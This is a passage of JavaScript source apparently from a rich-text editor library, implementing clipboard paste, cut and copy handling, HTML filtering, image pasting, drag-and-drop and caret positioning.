        create: () => create$6(editor, lastRng),
        remove: () => remove(editor, lastRng),
        getEl: () => getEl(editor),
        getHtml: () => getHtml(editor),
        getLastRng: lastRng.get
      };
    };

    const filter = (content, items) => {
      Tools.each(items, v => {
        if (is$4(v, RegExp)) {
          content = content.replace(v, '');
        } else {
          content = content.replace(v[0], v[1]);
        }
      });
      return content;
    };
    const innerText = html => {
      const schema = Schema();
      const domParser = DomParser({}, schema);
      let text = '';
      const voidElements = schema.getVoidElements();
      const ignoreElements = Tools.makeMap('script noscript style textarea video audio iframe object', ' ');
      const blockElements = schema.getBlockElements();
      const walk = node => {
        const name = node.name, currentNode = node;
        if (name === 'br') {
          text += '\n';
          return;
        }
        if (name === 'wbr') {
          return;
        }
        if (voidElements[name]) {
          text += ' ';
        }
        if (ignoreElements[name]) {
          text += ' ';
          return;
        }
        if (node.type === 3) {
          text += node.value;
        }
        if (!(node.name in schema.getVoidElements())) {
          let currentNode = node.firstChild;
          if (currentNode) {
            do {
              walk(currentNode);
            } while (currentNode = currentNode.next);
          }
        }
        if (blockElements[name] && currentNode.next) {
          text += '\n';
          if (name === 'p') {
            text += '\n';
          }
        }
      };
      html = filter(html, [/<!\[[^\]]+\]>/g]);
      walk(domParser.parse(html));
      return text;
    };
    const trimHtml = html => {
      const trimSpaces = (all, s1, s2) => {
        if (!s1 && !s2) {
          return ' ';
        }
        return nbsp;
      };
      html = filter(html, [
        /^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/ig,
        /<!--StartFragment-->|<!--EndFragment-->/g,
        [
          /( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,
          trimSpaces
        ],
        /<br class="Apple-interchange-newline">/g,
        /<br>$/i
      ]);
      return html;
    };
    const createIdGenerator = prefix => {
      let count = 0;
      return () => {
        return prefix + count++;
      };
    };
    const getImageMimeType = ext => {
      const lowerExt = ext.toLowerCase();
      const mimeOverrides = {
        jpg: 'jpeg',
        jpe: 'jpeg',
        jfi: 'jpeg',
        jif: 'jpeg',
        jfif: 'jpeg',
        pjpeg: 'jpeg',
        pjp: 'jpeg',
        svg: 'svg+xml'
      };
      return Tools.hasOwn(mimeOverrides, lowerExt) ? 'image/' + mimeOverrides[lowerExt] : 'image/' + lowerExt;
    };

    const preProcess = (editor, html) => {
      const parser = DomParser({}, editor.schema);
      parser.addNodeFilter('meta', nodes => {
        Tools.each(nodes, node => {
          node.remove();
        });
      });
      const fragment = parser.parse(html, {
        forced_root_block: false,
        isRootContent: true
      });
      return HtmlSerializer({ validate: true }, editor.schema).serialize(fragment);
    };
    const processResult = (content, cancelled) => ({
      content,
      cancelled
    });
    const postProcessFilter = (editor, html, internal) => {
      const tempBody = editor.dom.create('div', { style: 'display:none' }, html);
      const postProcessArgs = firePastePostProcess(editor, tempBody, internal);
      return processResult(postProcessArgs.node.innerHTML, postProcessArgs.isDefaultPrevented());
    };
    const filterContent = (editor, content, internal) => {
      const preProcessArgs = firePastePreProcess(editor, content, internal);
      const filteredContent = preProcess(editor, preProcessArgs.content);
      if (editor.hasEventListeners('PastePostProcess') && !preProcessArgs.isDefaultPrevented()) {
        return postProcessFilter(editor, filteredContent, internal);
      } else {
        return processResult(filteredContent, preProcessArgs.isDefaultPrevented());
      }
    };
    const process = (editor, html, internal) => {
      return filterContent(editor, html, internal);
    };

    const pasteHtml$1 = (editor, html) => {
      editor.insertContent(html, {
        merge: shouldPasteMergeFormats(editor),
        paste: true
      });
      return true;
    };
    const isAbsoluteUrl = url => /^https?:\/\/[\w\-\/+=.,!;:&%@^~(){}?#]+$/i.test(url);
    const isImageUrl = (editor, url) => {
      return isAbsoluteUrl(url) && exists(getAllowedImageFileTypes(editor), type => endsWith(url.toLowerCase(), `.${ type.toLowerCase() }`));
    };
    const createImage = (editor, url, pasteHtmlFn) => {
      editor.undoManager.extra(() => {
        pasteHtmlFn(editor, url);
      }, () => {
        editor.insertContent('<img src="' + url + '">');
      });
      return true;
    };
    const createLink = (editor, url, pasteHtmlFn) => {
      editor.undoManager.extra(() => {
        pasteHtmlFn(editor, url);
      }, () => {
        editor.execCommand('mceInsertLink', false, url);
      });
      return true;
    };
    const linkSelection = (editor, html, pasteHtmlFn) => !editor.selection.isCollapsed() && isAbsoluteUrl(html) ? createLink(editor, html, pasteHtmlFn) : false;
    const insertImage = (editor, html, pasteHtmlFn) => isImageUrl(editor, html) ? createImage(editor, html, pasteHtmlFn) : false;
    const smartInsertContent = (editor, html) => {
      Tools.each([
        linkSelection,
        insertImage,
        pasteHtml$1
      ], action => {
        return !action(editor, html, pasteHtml$1);
      });
    };
    const insertContent = (editor, html, pasteAsText) => {
      if (pasteAsText || !isSmartPasteEnabled(editor)) {
        pasteHtml$1(editor, html);
      } else {
        smartInsertContent(editor, html);
      }
    };

    const uniqueId = createIdGenerator('mceclip');
    const doPaste = (editor, content, internal, pasteAsText) => {
      const args = process(editor, content, internal);
      if (!args.cancelled) {
        insertContent(editor, args.content, pasteAsText);
      }
    };
    const pasteHtml = (editor, html, internalFlag) => {
      const internal = internalFlag ? internalFlag : isMarked(html);
      doPaste(editor, unmark(html), internal, false);
    };
    const pasteText = (editor, text) => {
      const encodedText = editor.dom.encode(text).replace(/\r\n/g, '\n');
      const normalizedText = normalize$4(encodedText, getPasteTabSpaces(editor));
      const html = toBlockElements(normalizedText, getForcedRootBlock(editor), getForcedRootBlockAttrs(editor));
      doPaste(editor, html, false, true);
    };
    const getDataTransferItems = dataTransfer => {
      const items = {};
      if (dataTransfer && dataTransfer.types) {
        for (let i = 0; i < dataTransfer.types.length; i++) {
          const contentType = dataTransfer.types[i];
          try {
            items[contentType] = dataTransfer.getData(contentType);
          } catch (ex) {
            items[contentType] = '';
          }
        }
      }
      return items;
    };
    const hasContentType = (clipboardContent, mimeType) => mimeType in clipboardContent && clipboardContent[mimeType].length > 0;
    const hasHtmlOrText = content => hasContentType(content, 'text/html') || hasContentType(content, 'text/plain');
    const extractFilename = (editor, str) => {
      const m = str.match(/([\s\S]+?)(?:\.[a-z0-9.]+)$/i);
      return isNonNullable(m) ? editor.dom.encode(m[1]) : undefined;
    };
    const createBlobInfo = (editor, blobCache, file, base64) => {
      const id = uniqueId();
      const useFileName = shouldReuseFileName(editor) && isNonNullable(file.name);
      const name = useFileName ? extractFilename(editor, file.name) : id;
      const filename = useFileName ? file.name : undefined;
      const blobInfo = blobCache.create(id, file, base64, name, filename);
      blobCache.add(blobInfo);
      return blobInfo;
    };
    const pasteImage = (editor, imageItem) => {
      parseDataUri(imageItem.uri).each(({data, type, base64Encoded}) => {
        const base64 = base64Encoded ? data : btoa(data);
        const file = imageItem.file;
        const blobCache = editor.editorUpload.blobCache;
        const existingBlobInfo = blobCache.getByData(base64, type);
        const blobInfo = existingBlobInfo !== null && existingBlobInfo !== void 0 ? existingBlobInfo : createBlobInfo(editor, blobCache, file, base64);
        pasteHtml(editor, `<img src="${ blobInfo.blobUri() }">`, false);
      });
    };
    const isClipboardEvent = event => event.type === 'paste';
    const readFilesAsDataUris = items => Promise.all(map$3(items, file => {
      return blobToDataUri(file).then(uri => ({
        file,
        uri
      }));
    }));
    const isImage = editor => {
      const allowedExtensions = getAllowedImageFileTypes(editor);
      return file => startsWith(file.type, 'image/') && exists(allowedExtensions, extension => {
        return getImageMimeType(extension) === file.type;
      });
    };
    const getImagesFromDataTransfer = (editor, dataTransfer) => {
      const items = dataTransfer.items ? bind$3(from(dataTransfer.items), item => {
        return item.kind === 'file' ? [item.getAsFile()] : [];
      }) : [];
      const files = dataTransfer.files ? from(dataTransfer.files) : [];
      return filter$5(items.length > 0 ? items : files, isImage(editor));
    };
    const pasteImageData = (editor, e, rng) => {
      const dataTransfer = isClipboardEvent(e) ? e.clipboardData : e.dataTransfer;
      if (shouldPasteDataImages(editor) && dataTransfer) {
        const images = getImagesFromDataTransfer(editor, dataTransfer);
        if (images.length > 0) {
          e.preventDefault();
          readFilesAsDataUris(images).then(fileResults => {
            if (rng) {
              editor.selection.setRng(rng);
            }
            each$e(fileResults, result => {
              pasteImage(editor, result);
            });
          });
          return true;
        }
      }
      return false;
    };
    const isBrokenAndroidClipboardEvent = e => {
      var _a, _b;
      return Env.os.isAndroid() && ((_b = (_a = e.clipboardData) === null || _a === void 0 ? void 0 : _a.items) === null || _b === void 0 ? void 0 : _b.length) === 0;
    };
    const isKeyboardPasteEvent = e => VK.metaKeyPressed(e) && e.keyCode === 86 || e.shiftKey && e.keyCode === 45;
    const insertClipboardContent = (editor, clipboardContent, html, plainTextMode) => {
      let content = trimHtml(html);
      const isInternal = hasContentType(clipboardContent, internalHtmlMime()) || isMarked(html);
      const isPlainTextHtml = !isInternal && isPlainText(content);
      const isAbsoluteUrl$1 = isAbsoluteUrl(content);
      if (isDefaultPasteBinContent(content) || !content.length || isPlainTextHtml && !isAbsoluteUrl$1) {
        plainTextMode = true;
      }
      if (plainTextMode || isAbsoluteUrl$1) {
        if (hasContentType(clipboardContent, 'text/plain') && isPlainTextHtml) {
          content = clipboardContent['text/plain'];
        } else {
          content = innerText(content);
        }
      }
      if (isDefaultPasteBinContent(content)) {
        return;
      }
      if (plainTextMode) {
        pasteText(editor, content);
      } else {
        pasteHtml(editor, content, isInternal);
      }
    };
    const registerEventHandlers = (editor, pasteBin, pasteFormat) => {
      let keyboardPastePlainTextState;
      const getLastRng = () => pasteBin.getLastRng() || editor.selection.getRng();
      editor.on('keydown', e => {
        if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
          keyboardPastePlainTextState = e.shiftKey && e.keyCode === 86;
        }
      });
      editor.on('paste', e => {
        if (e.isDefaultPrevented() || isBrokenAndroidClipboardEvent(e)) {
          return;
        }
        const plainTextMode = pasteFormat.get() === 'text' || keyboardPastePlainTextState;
        keyboardPastePlainTextState = false;
        const clipboardContent = getDataTransferItems(e.clipboardData);
        if (!hasHtmlOrText(clipboardContent) && pasteImageData(editor, e, getLastRng())) {
          return;
        }
        if (hasContentType(clipboardContent, 'text/html')) {
          e.preventDefault();
          insertClipboardContent(editor, clipboardContent, clipboardContent['text/html'], plainTextMode);
        } else {
          pasteBin.create();
          Delay.setEditorTimeout(editor, () => {
            const html = pasteBin.getHtml();
            pasteBin.remove();
            insertClipboardContent(editor, clipboardContent, html, plainTextMode);
          }, 0);
        }
      });
    };
    const registerDataImageFilter = editor => {
      const isWebKitFakeUrl = src => startsWith(src, 'webkit-fake-url');
      const isDataUri = src => startsWith(src, 'data:');
      const isPasteInsert = args => {
        var _a;
        return ((_a = args.data) === null || _a === void 0 ? void 0 : _a.paste) === true;
      };
      editor.parser.addNodeFilter('img', (nodes, name, args) => {
        if (!shouldPasteDataImages(editor) && isPasteInsert(args)) {
          for (const node of nodes) {
            const src = node.attr('src');
            if (isString(src) && !node.attr('data-mce-object') && src !== Env.transparentSrc) {
              if (isWebKitFakeUrl(src)) {
                node.remove();
              } else if (!shouldAllowHtmlDataUrls(editor) && isDataUri(src)) {
                node.remove();
              }
            }
          }
        }
      });
    };
    const registerEventsAndFilters = (editor, pasteBin, pasteFormat) => {
      registerEventHandlers(editor, pasteBin, pasteFormat);
      registerDataImageFilter(editor);
    };

    const togglePlainTextPaste = (editor, pasteFormat) => {
      if (pasteFormat.get() === 'text') {
        pasteFormat.set('html');
        firePastePlainTextToggle(editor, false);
      } else {
        pasteFormat.set('text');
        firePastePlainTextToggle(editor, true);
      }
      editor.focus();
    };
    const register$1 = (editor, pasteFormat) => {
      editor.addCommand('mceTogglePlainTextPaste', () => {
        togglePlainTextPaste(editor, pasteFormat);
      });
      editor.addCommand('mceInsertClipboardContent', (ui, value) => {
        if (value.html) {
          pasteHtml(editor, value.html, value.internal);
        }
        if (value.text) {
          pasteText(editor, value.text);
        }
      });
    };

    const setHtml5Clipboard = (clipboardData, html, text) => {
      if (clipboardData) {
        try {
          clipboardData.clearData();
          clipboardData.setData('text/html', html);
          clipboardData.setData('text/plain', text);
          clipboardData.setData(internalHtmlMime(), html);
          return true;
        } catch (e) {
          return false;
        }
      } else {
        return false;
      }
    };
    const setClipboardData = (evt, data, fallback, done) => {
      if (setHtml5Clipboard(evt.clipboardData, data.html, data.text)) {
        evt.preventDefault();
        done();
      } else {
        fallback(data.html, done);
      }
    };
    const fallback = editor => (html, done) => {
      const {dom, selection} = editor;
      const outer = dom.create('div', {
        'contenteditable': 'false',
        'data-mce-bogus': 'all'
      });
      const inner = dom.create('div', { contenteditable: 'true' }, html);
      dom.setStyles(outer, {
        position: 'fixed',
        top: '0',
        left: '-3000px',
        width: '1000px',
        overflow: 'hidden'
      });
      outer.appendChild(inner);
      dom.add(editor.getBody(), outer);
      const range = selection.getRng();
      inner.focus();
      const offscreenRange = dom.createRng();
      offscreenRange.selectNodeContents(inner);
      selection.setRng(offscreenRange);
      Delay.setEditorTimeout(editor, () => {
        selection.setRng(range);
        dom.remove(outer);
        done();
      }, 0);
    };
    const getData = editor => ({
      html: mark(editor.selection.getContent({ contextual: true })),
      text: editor.selection.getContent({ format: 'text' })
    });
    const isTableSelection = editor => !!editor.dom.getParent(editor.selection.getStart(), 'td[data-mce-selected],th[data-mce-selected]', editor.getBody());
    const hasSelectedContent = editor => !editor.selection.isCollapsed() || isTableSelection(editor);
    const cut = editor => evt => {
      if (!evt.isDefaultPrevented() && hasSelectedContent(editor)) {
        setClipboardData(evt, getData(editor), fallback(editor), () => {
          if (Env.browser.isChromium() || Env.browser.isFirefox()) {
            const rng = editor.selection.getRng();
            Delay.setEditorTimeout(editor, () => {
              editor.selection.setRng(rng);
              editor.execCommand('Delete');
            }, 0);
          } else {
            editor.execCommand('Delete');
          }
        });
      }
    };
    const copy = editor => evt => {
      if (!evt.isDefaultPrevented() && hasSelectedContent(editor)) {
        setClipboardData(evt, getData(editor), fallback(editor), noop);
      }
    };
    const register = editor => {
      editor.on('cut', cut(editor));
      editor.on('copy', copy(editor));
    };

    const getCaretRangeFromEvent = (editor, e) => {
      var _a, _b;
      return RangeUtils.getCaretRangeFromPoint((_a = e.clientX) !== null && _a !== void 0 ? _a : 0, (_b = e.clientY) !== null && _b !== void 0 ? _b : 0, editor.getDoc());
    };
    const isPlainTextFileUrl = content => {
      const plainTextContent = content['text/plain'];
      return plainTextContent ? plainTextContent.indexOf('file://') === 0 : false;
    };
    const setFocusedRange = (editor, rng) => {
      editor.focus();
      if (rng) {
        editor.selection.setRng(rng);
      }
    };
    const hasImage = dataTransfer => exists(dataTransfer.files, file => /^image\//.test(file.type));
    const setup$a = (editor, draggingInternallyState) => {
      if (shouldPasteBlockDrop(editor)) {
        editor.on('dragend dragover draggesture dragdrop drop drag', e => {
          e.preventDefault();
          e.stopPropagation();
        });
      }
      if (!shouldPasteDataImages(editor)) {
        editor.on('drop', e => {
          const dataTransfer = e.dataTransfer;
          if (dataTransfer && hasImage(dataTransfer)) {
            e.preventDefault();
          }
        });
      }
      editor.on('drop', e => {
        if (e.isDefaultPrevented() || draggingInternallyState.get()) {
          return;
        }
        const rng = getCaretRangeFromEvent(editor, e);
        if (isNullable(rng)) {
          return;
        }
        const dropContent = getDataTransferItems(e.dataTransfer);
        const internal = hasContentType(dropContent, internalHtmlMime());
        if ((!hasHtmlOrText(dropContent) || isPlainTextFileUrl(dropContent)) && pasteImageData(editor, e, rng)) {
          return;
        }
        const internalContent = dropContent[internalHtmlMime()];
        const content = internalContent || dropContent['text/html'] || dropContent['text/plain'];
        if (content) {
          e.preventDefault();
          Delay.setEditorTimeout(editor, () => {
            editor.undoManager.transact(() => {
              if (internalContent) {
                editor.execCommand('Delete');
              }
              setFocusedRange(editor, rng);
              const trimmedContent = trimHtml(content);
              if (dropContent['text/html']) {
                pasteHtml(editor, trimmedContent, internal);
              } else {
                pasteText(editor, trimmedContent);
              }
            });
          });
        }
      });
      editor.on('dragstart', _e => {
        draggingInternallyState.set(true);
      });
      editor.on('dragover dragend', e => {
        if (shouldPasteDataImages(editor) && !draggingInternallyState.get()) {
          e.preventDefault();
          setFocusedRange(editor, getCaretRangeFromEvent(editor, e));
        }
        if (e.type === 'dragend') {
          draggingInternallyState.set(false);
        }
      });
    };

    const setup$9 = editor => {
      const processEvent = f => e => {
        f(editor, e);
      };
      const preProcess = getPastePreProcess(editor);
      if (isFunction(preProcess)) {
        editor.on('PastePreProcess', processEvent(preProcess));
      }
      const postProcess = getPastePostProcess(editor);
      if (isFunction(postProcess)) {
        editor.on('PastePostProcess', processEvent(postProcess));
      }
    };

    const addPreProcessFilter = (editor, filterFunc) => {
      editor.on('PastePreProcess', e => {
        e.content = filterFunc(editor, e.content, e.internal);
      });
    };
    const rgbRegExp = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi;
    const rgbToHex = value => Tools.trim(value).replace(rgbRegExp, rgbaToHexString).toLowerCase();
    const removeWebKitStyles = (editor, content, internal) => {
      const webKitStylesOption = getPasteWebkitStyles(editor);
      if (internal || webKitStylesOption === 'all' || !shouldPasteRemoveWebKitStyles(editor)) {
        return content;
      }
      const webKitStyles = webKitStylesOption ? webKitStylesOption.split(/[, ]/) : [];
      if (webKitStyles && webKitStylesOption !== 'none') {
        const dom = editor.dom, node = editor.selection.getNode();
        content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, (all, before, value, after) => {
          const inputStyles = dom.parseStyle(dom.decode(value));
          const outputStyles = {};
          for (let i = 0; i < webKitStyles.length; i++) {
            const inputValue = inputStyles[webKitStyles[i]];
            let compareInput = inputValue;
            let currentValue = dom.getStyle(node, webKitStyles[i], true);
            if (/color/.test(webKitStyles[i])) {
              compareInput = rgbToHex(compareInput);
              currentValue = rgbToHex(currentValue);
            }
            if (currentValue !== compareInput) {
              outputStyles[webKitStyles[i]] = inputValue;
            }
          }
          const outputStyle = dom.serializeStyle(outputStyles, 'span');
          if (outputStyle) {
            return before + ' style="' + outputStyle + '"' + after;
          }
          return before + after;
        });
      } else {
        content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, '$1$3');
      }
      content = content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi, (all, before, value, after) => {
        return before + ' style="' + value + '"' + after;
      });
      return content;
    };
    const setup$8 = editor => {
      if (Env.browser.isChromium() || Env.browser.isSafari()) {
        addPreProcessFilter(editor, removeWebKitStyles);
      }
    };

    const setup$7 = editor => {
      const draggingInternallyState = Cell(false);
      const pasteFormat = Cell(isPasteAsTextEnabled(editor) ? 'text' : 'html');
      const pasteBin = PasteBin(editor);
      setup$8(editor);
      register$1(editor, pasteFormat);
      setup$9(editor);
      editor.on('PreInit', () => {
        register(editor);
        setup$a(editor, draggingInternallyState);
        registerEventsAndFilters(editor, pasteBin, pasteFormat);
      });
    };

    const preventSummaryToggle = editor => {
      editor.on('click', e => {
        if (editor.dom.getParent(e.target, 'details')) {
          e.preventDefault();
        }
      });
    };
    const filterDetails = editor => {
      editor.parser.addNodeFilter('details', elms => {
        each$e(elms, details => {
          details.attr('data-mce-open', details.attr('open'));
          details.attr('open', 'open');
        });
      });
      editor.serializer.addNodeFilter('details', elms => {
        each$e(elms, details => {
          const open = details.attr('data-mce-open');
          details.attr('open', isString(open) ? open : null);
          details.attr('data-mce-open', null);
        });
      });
    };
    const setup$6 = editor => {
      preventSummaryToggle(editor);
      filterDetails(editor);
    };

    const isBr = isBr$6;
    const isText = isText$a;
    const isContentEditableFalse$2 = elm => isContentEditableFalse$a(elm.dom);
    const isContentEditableTrue = elm => isContentEditableTrue$3(elm.dom);
    const isRoot = rootNode => elm => eq(SugarElement.fromDom(rootNode), elm);
    const getClosestScope = (node, rootNode) => closest$4(SugarElement.fromDom(node), elm => isContentEditableTrue(elm) || isBlock$2(elm), isRoot(rootNode)).getOr(SugarElement.fromDom(rootNode)).dom;
    const getClosestCef = (node, rootNode) => closest$4(SugarElement.fromDom(node), isContentEditableFalse$2, isRoot(rootNode));
    const findEdgeCaretCandidate = (startNode, scope, forward) => {
      const walker = new DomTreeWalker(startNode, scope);
      const next = forward ? walker.next.bind(walker) : walker.prev.bind(walker);
      let result = startNode;
      for (let current = forward ? startNode : next(); current && !isBr(current); current = next()) {
        if (isCaretCandidate$3(current)) {
          result = current;
        }
      }
      return result;
    };
    const findClosestBlockRange = (startRng, rootNode) => {
      const startPos = CaretPosition.fromRangeStart(startRng);
      const clickNode = startPos.getNode();
      const scope = getClosestScope(clickNode, rootNode);
      const startNode = findEdgeCaretCandidate(clickNode, scope, false);
      const endNode = findEdgeCaretCandidate(clickNode, scope, true);
      const rng = document.createRange();
      getClosestCef(startNode, scope).fold(() => {
        if (isText(startNode)) {
          rng.setStart(startNode, 0);
        } else {
          rng.setStartBefore(startNode);
        }
      }, cef => rng.setStartBefore(cef.dom));
      getClosestCef(endNode, scope).fold(() => {
        if (isText(endNode)) {
          rng.setEnd(endNode, endNode.data.length);
        } else {
          rng.setEndAfter(endNode);
        }
      }, cef => rng.setEndAfter(cef.dom));
      return rng;
    };
    const onTripleClickSelect = editor => {
      const rng = findClosestBlockRange(editor.selection.getRng(), editor.getBody());
      editor.selection.setRng(normalize(rng));
    };
    const setup$5 = editor => {
      editor.on('mousedown', e => {
        if (e.detail >= 3) {
          e.preventDefault();
          onTripleClickSelect(editor);
        }
      });
    };

    var FakeCaretPosition;
    (function (FakeCaretPosition) {
      FakeCaretPosition['Before'] = 'before';
      FakeCaretPosition['After'] = 'after';
    }(FakeCaretPosition || (FakeCaretPosition = {})));
    const distanceToRectLeft = (clientRect, clientX) => Math.abs(clientRect.left - clientX);
    const distanceToRectRight = (clientRect, clientX) => Math.abs(clientRect.right - clientX);
    const isInsideY = (clientY, clientRect) => clientY >= clientRect.top && clientY <= clientRect.bottom;
    const collidesY = (r1, r2) => r1.top < r2.bottom && r1.bottom > r2.top;
    const isOverlapping = (r1, r2) => {
      const overlap = overlapY(r1, r2) / Math.min(r1.height, r2.height);
      return collidesY(r1, r2) && overlap > 0.5;
    };
    const splitRectsPerAxis = (rects, y) => {
      const intersectingRects = filter$5(rects, rect => isInsideY(y, rect));
      return boundingClientRectFromRects(intersectingRects).fold(() => [
        [],
        rects
      ], boundingRect => {
        const {
          pass: horizontal,
          fail: vertical
        } = partition$2(rects, rect => isOverlapping(rect, boundingRect));
        return [
          horizontal,
          vertical
        ];
      });
    };
    const clientInfo = (rect, clientX) => {
      return {
        node: rect.node,
        position: distanceToRectLeft(rect, clientX) < distanceToRectRight(rect, clientX) ? FakeCaretPosition.Before : FakeCaretPosition.After
      };
    };
    const horizontalDistance = (rect, x, _y) => x > rect.left && x < rect.right ? 0 : Math.min(Math.abs(rect.left - x), Math.abs(rect.right - x));
    const closestChildCaretCandidateNodeRect = (children, clientX, clientY) => {
      const caretCandidateRect = rect => {
        if (isCaretCandidate$3(rect.node)) {
          return Optional.some(rect);
        } else if (isElement$6(rect.node)) {
          return closestChildCaretCandidateNodeRect(from(rect.node.childNodes), clientX, clientY);
        } else {
          return Optional.none();
        }
      };
      const getClosestTextNode = (rects, distance) => {
        if (rects.length >= 2) {
          const r1 = caretCandidateRect(rects[0]).getOr(rects[0]);
          const r2 = caretCandidateRect(rects[1]).getOr(rects[1]);
          const deltaDistance = Math.abs(distance(r1, clientX, clientY) - distance(r2, clientX, clientY));
          if (deltaDistance < 2) {
            if (isText$a(r1.node)) {
              return Optional.some(r1);
            } else if (isText$a(r2.node)) {
              return Optional.some(r2);
            }
          }
        }
        return Optional.none();
      };
      const findClosestCaretCandidateNodeRect = (rects, distance) => {
        const sortedRects = sort(rects, (r1, r2) => distance(r1, clientX, clientY) - distance(r2, clientX, clientY));
        return getClosestTextNode(sortedRects, distance).orThunk(() => findMap(sortedRects, caretCandidateRect));
      };
      const [horizontalRects, verticalRects] = splitRectsPerAxis(getClientRects(children), clientY);
      const {
        pass: above,
        fail: below
      } = partition$2(verticalRects, rect => rect.top < clientY);
      return findClosestCaretCandidateNodeRect(horizontalRects, horizontalDistance).orThunk(() => findClosestCaretCandidateNodeRect(below, distanceToRectEdgeFromXY)).orThunk(() => findClosestCaretCandidateNodeRect(above, distanceToRectEdgeFromXY));
    };
    const traverseUp = (rootElm, scope, clientX, clientY) => {
      const helper = (scope, prevScope) => {
        const isDragGhostContainer = node => isElement$6(node) && node.classList.contains('mce-drag-container');
        const childNodesWithoutGhost = filter$5(scope.dom.childNodes, not(isDragGhostContainer));
        return prevScope.fold(() => closestChildCaretCandidateNodeRect(childNodesWithoutGhost, clientX, clientY), prevScope => {
          const uncheckedChildren = filter$5(childNodesWithoutGhost, node => node !== prevScope.dom);
          return closestChildCaretCandidateNodeRect(uncheckedChildren, clientX, clientY);
        }).orThunk(() => {
          const parent = eq(scope, rootElm) ? Optional.none() : parentElement(scope);
          return parent.bind(newScope => helper(newScope, Optional.some(scope)));
        });
      };
      return helper(scope, Optional.none());
    };
    const closestCaretCandidateNodeRect = (root, clientX, clientY) => {
      const rootElm = SugarElement.fromDom(root);
      const ownerDoc = documentOrOwner(rootElm);
      const elementAtPoint = SugarElement.fromPoint(ownerDoc, clientX, clientY).filter(elm => contains(rootElm, elm));
      const element = elementAtPoint.getOr(rootElm);
      return traverseUp(rootElm, element, clientX, clientY);
    };
    const closestFakeCaretCandidate = (root, clientX, clientY) => closestCaretCandidateNodeRect(root, clientX, clientY).filter(rect => isFakeCaretTarget(rect.node)).map(rect => clientInfo(rect, clientX));

    const getAbsolutePosition = elm => {
      var _a, _b;
      const clientRect = elm.getBoundingClientRect();
      const doc = elm.ownerDocument;
      const docElem = doc.documentElement;
      const win = doc.defaultView;
      return {
        top: clientRect.top + ((_a = win === null || win === void 0 ? void 0 : win.scrollY) !== null && _a !== void 0 ? _a : 0) - docElem.clientTop,
        left: clientRect.left + ((_b = win === null || win === void 0 ? void 0 : win.scrollX) !== null && _b !== void 0 ? _b : 0) - docElem.clientLeft
      };
    };
    const getBodyPosition = editor => editor.inline ? getAbsolutePosition(editor.getBody()) : {
      left: 0,
      top: 0
    };
    const getScrollPosition = editor => {
      const body = editor.getBody();
      return editor.inline ? {
        left: body.scrollLeft,
        top: body.scrollTop
      } : {
        left: 0,
        top: 0
      };
    };
    const getBodyScroll = editor => {
      const body = editor.getBody(), docElm = editor.getDoc().documentElement;
      const inlineScroll = {
        left: body.scrollLeft,
        top: body.scrollTop
      };
      const iframeScroll = {
        left: body.scrollLeft || docElm.scrollLeft,
        top: body.scrollTop || docElm.scrollTop
      };
      return editor.inline ? inlineScroll : iframeScroll;
    };
    const getMousePosition = (editor, event) => {
      if (event.target.ownerDocument !== editor.getDoc()) {
        const iframePosition = getAbsolutePosition(editor.getContentAreaContainer());
        const scrollPosition = getBodyScroll(editor);
        return {
          left: event.pageX - iframePosition.left + scrollPosition.left,
          top: event.pageY - iframePosition.top + scrollPosition.top
        };
      }
      return {
        left: event.pageX,
        top: event.pageY
      };
    };
    const calculatePosition = (bodyPosition, scrollPosition, mousePosition) => ({
      pageX: mousePosition.left - bodyPosition.left + scrollPosition.left,
      pageY: mousePosition.top - bodyPosition.top + scrollPosition.top
    });
    const calc = (editor, event) => calculatePosition(getBodyPosition(editor), getScrollPosition(editor), getMousePosition(editor, event));

    const scrollPixelsPerInterval = 32;
    const scrollIntervalValue = 100;
    const mouseRangeToTriggerScrollInsideEditor = 8;
    const mouseRangeToTriggerScrollOutsideEditor = 16;
    const isContentEditableFalse$1 = isContentEditableFalse$a;
    const isContentEditable = or(isContentEditableFalse$1, isContentEditableTrue$3);
    const isDraggable = (rootElm, elm) => isContentEditableFalse$1(elm) && elm !== rootElm;
    const isValidDropTarget = (editor, targetElement, dragElement) => {
      if (isNullable(targetElement)) {
        return false;
      } else if (targetElement === dragElement || editor.dom.isChildOf(targetElement, dragElement)) {
        return false;
      } else {
        return !isContentEditableFalse$1(targetElement);
      }
    };
    const cloneElement = elm => {
      const cloneElm = elm.cloneNode(true);
      cloneElm.removeAttribute('data-mce-selected');
      return cloneElm;
    };
    const createGhost = (editor, elm, width, height) => {
      const dom = editor.dom;
      const clonedElm = elm.cloneNode(true);
      dom.setStyles(clonedElm, {
        width,
        height
      });
      dom.setAttrib(clonedElm, 'data-mce-selected', null);
      const ghostElm = dom.create('div', {
        'class': 'mce-drag-container',
        'data-mce-bogus': 'all',
        'unselectable': 'on',
        'contenteditable': 'false'
      });
      dom.setStyles(ghostElm, {
        position: 'absolute',
        opacity: 0.5,
        overflow: 'hidden',
        border: 0,
        padding: 0,
        margin: 0,
        width,
        height
      });
      dom.setStyles(clonedElm, {
        margin: 0,
        boxSizing: 'border-box'
      });
      ghostElm.appendChild(clonedElm);
      return ghostElm;
    };
    const appendGhostToBody = (ghostElm, bodyElm) => {
      if (ghostElm.parentNode !== bodyElm) {
        bodyElm.appendChild(ghostElm);
      }
    };
    const scrollEditor = (direction, amount) => win => () => {
      const current = direction === 'left' ? win.scrollX : win.scrollY;
      win.scroll({
        [direction]: current + amount,
        behavior: 'smooth'
      });
    };
    const scrollLeft = scrollEditor('left', -scrollPixelsPerInterval);
    const scrollRight = scrollEditor('left', scrollPixelsPerInterval);
    const scrollUp = scrollEditor('top', -scrollPixelsPerInterval);
    const scrollDown = scrollEditor('top', scrollPixelsPerInterval);
    const moveGhost = (ghostElm, position, width, height, maxX, maxY, mouseY, mouseX, contentAreaContainer, win, state, mouseEventOriginatedFromWithinTheEditor) => {
      let overflowX = 0, overflowY = 0;
      ghostElm.style.left = position.pageX + 'px';
      ghostElm.style.top = position.pageY + 'px';
      if (position.pageX + width > maxX) {
        overflowX = position.pageX + width - maxX;
      }
      if (position.pageY + height > maxY) {
        overflowY = position.pageY + height - maxY;
      }
      ghostElm.style.width = width - overflowX + 'px';
      ghostElm.style.height = height - overflowY + 'px';
